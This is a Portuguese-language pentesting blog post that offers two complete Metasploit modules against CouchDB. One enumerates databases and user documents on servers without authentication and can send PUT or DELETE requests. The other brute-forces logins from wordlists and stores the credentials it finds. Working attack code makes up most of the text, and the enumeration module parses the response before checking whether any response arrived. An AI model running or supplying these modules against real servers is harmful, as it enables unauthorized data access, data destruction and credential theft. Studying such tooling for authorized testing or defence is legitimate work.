Para facilitar o trabalho durante os testes de intrusão, desenvolvi um script para o Metasploit, onde você conseguirá realizar todas as ações, possibilitando a automação da análise.
Seu uso é simples, basta definir o endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e sua ação (TARGETURI).
Em seu padrão, o módulo vem configurado para enumerar as databases existentes no servidor a ser testado, bastando apenas definir o host remoto (RHOST), confirmar se a aplicação roda na porta padrão (5984) e executar o comando "run".
Script couchdb_enum.rb:
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
},
'Author' => [ 'espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
OptString.new('USERNAME', [false, 'The username to login as']),
OptString.new('PASSWORD', [false, 'The password to login with'])
], self.class)
end
def run
username = datastore['USERNAME']
password = datastore['PASSWORD']
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi({
'uri' => uri,
'method' => datastore['HTTP_METHOD'],
'authorization' => basic_auth(username, password),
'headers' => {
'Cookie' => 'Whatever?'
}
})
temp = JSON.parse(res.body)
results = JSON.pretty_generate(temp)
if res.nil?
print_error("No response for #{target_host}")
elsif (res.code == 200)
print_good("#{target_host}:#{rport} -> #{res.code}")
print_good("Response Headers:\n\n #{res.headers}")
print_good("Response Body:\n\n #{results}\n")
elsif (res.code == 403) # Forbidden
print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
elsif (res.code == 404) # Not Found
print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
else
print_status("#{res.code}")
print_status("#{results}")
end
rescue ::Exception => e
print_error("Error: #{e.to_s}")
return nil
end
end
O script acima já se encontra no framework original do Metasploit, basta atualizá-lo (exemplo: git pull) ou então acessar o seguinte link:
Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs:
Analisando o CouchDB com autenticação
Abaixo um novo script para o Metasploit, que realiza o brute-force de usuário e senha, baseando-se em uma wordlist. Por padrão, já é especificada uma wordlist presente no Metasploit, bastando apenas especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta padrão (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por você, basta especificar o path deste arquivo.
Script couchdb_login.rb:
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'CouchDB Login Utility',
'Description' => %{
This module attempts brute force to login to a CouchDB.
},
'Author' =>
[
'espreto <robertoespreto[at]gmail.com>'
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(5984),
OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
], self.class)
end
def run_host(ip)
user = datastore['USERNAME'].to_s
pass = datastore['PASSWORD'].to_s
vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
return if (res.code == 404)
if [200, 301, 302].include?(res.code)
vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
else
vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
print_status("Brute-forcing... >:-} ")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
rescue ::Rex::ConnectionError
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
end
def do_login(user, pass)
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
begin
res = send_request_cgi(
{
'uri' => datastore['URI'],
'method' => 'GET',
'ctype' => 'text/plain',
'authorization' => basic_auth(user, pass)
})
if res and res.code != 200
vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}")
return :skip_pass
else
print_good("Successful login. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'couchdb',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
return :next_user
end
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
print_error("HTTP Connection Failed, Aborting")
return :abort
end
rescue ::Exception => e
print_error("Error: #{e.to_s}")
return nil
end
end